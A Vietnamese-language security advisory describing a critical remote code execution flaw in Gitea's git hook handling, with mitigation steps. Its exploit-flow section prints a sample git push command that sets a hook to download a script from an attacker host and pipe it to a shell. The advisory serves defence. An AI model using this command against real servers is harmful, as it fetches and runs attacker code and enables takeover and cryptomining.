Cộng đồng an ninh mạng vừa phát hiện các chiến dịch tấn công diện rộng đang tích cực khai thác lỗ hổng thực thi mã từ xa không an toàn (CVE-2026-28391, CVSS 9.8) trên máy chủ quản lý mã nguồn Gitea nhằm cài đặt phần mềm đào tiền mã hóa và backdoor kiểm soát hệ thống.
Bảng Thuộc Tính Kỹ Thuật:
| Mã Lỗ Hổng | CVE-2026-28391 |
| Điểm Đánh Giá | 9.8 CRITICAL (CVSS v3.1) |
| Hệ Thống Bị Ảnh Hưởng | Gitea trước phiên bản 1.22.4 và 1.23.1 |
| Loại Lỗ Hổng | Remote Code Execution qua Git Hook Argument Injection |
1. Nguồn Gốc Lỗ Hổng Trong Cơ Chế Xử Lý Git Hooks
Gitea hỗ trợ người dùng thiết lập các webhooks và git hooks tự động khi đẩy mã nguồn lên kho chứa (Repository). Khi xử lý tiến trình git-receive-pack qua giao thức SSH hoặc HTTP, hệ thống đã không lọc sạch các biến môi trường đặc biệt của Git như GIT_CONFIG_PARAMETERS hoặc GIT_SSH_COMMAND.
2. Chuỗi Khai Thác Kỹ Thuật (Exploit Flow)
Bằng cách tạo một tài khoản người dùng bình thường (hoặc thông qua tính năng đăng ký công khai), kẻ tấn công tạo một repository và đẩy một commit chứa cấu hình Git tùy chỉnh. Cấu hình này ghi đè chỉ thị thực thi nhị phân của Git để trỏ tới một payload shell tùy ý:
# Mẫu lệnh kích hoạt khai thác Git Config Parameter Injection
git push origin main --push-option="uploadpack.packObjectsHook=/bin/sh -c 'curl -s https://c2.attacker.io/miner.sh | sh'"Do tiến trình Gitea máy chủ thực thi lệnh dưới quyền người dùng git với toàn quyền truy cập vào toàn bộ mã nguồn của các dự án nội bộ, kẻ tấn công có thể dễ dàng đọc trộm tài liệu mật, chèn mã độc vào sản phẩm phần mềm (Supply Chain Attack) hoặc leo thang chiếm quyền điều khiển toàn bộ máy chủ.
3. Biện Pháp Khắc Phục Khẩn Cấp
- Cập nhật Gitea ngay lập tức: Nâng cấp phiên bản Gitea lên bản vá chính thức
1.22.4hoặc1.23.1trở lên. - Vô hiệu hóa tính năng đăng ký tự do: Đặt
DISABLE_REGISTRATION = truetrong file cấu hìnhapp.iniđể ngăn chặn kẻ tấn công tự tạo tài khoản khai thác. - Hạn chế quyền Git Hooks: Đảm bảo chỉ có tài khoản Administrator mới có quyền tạo và chỉnh sửa Custom Git Hooks (
ENABLE_CUSTOM_GIT_HOOKS = false).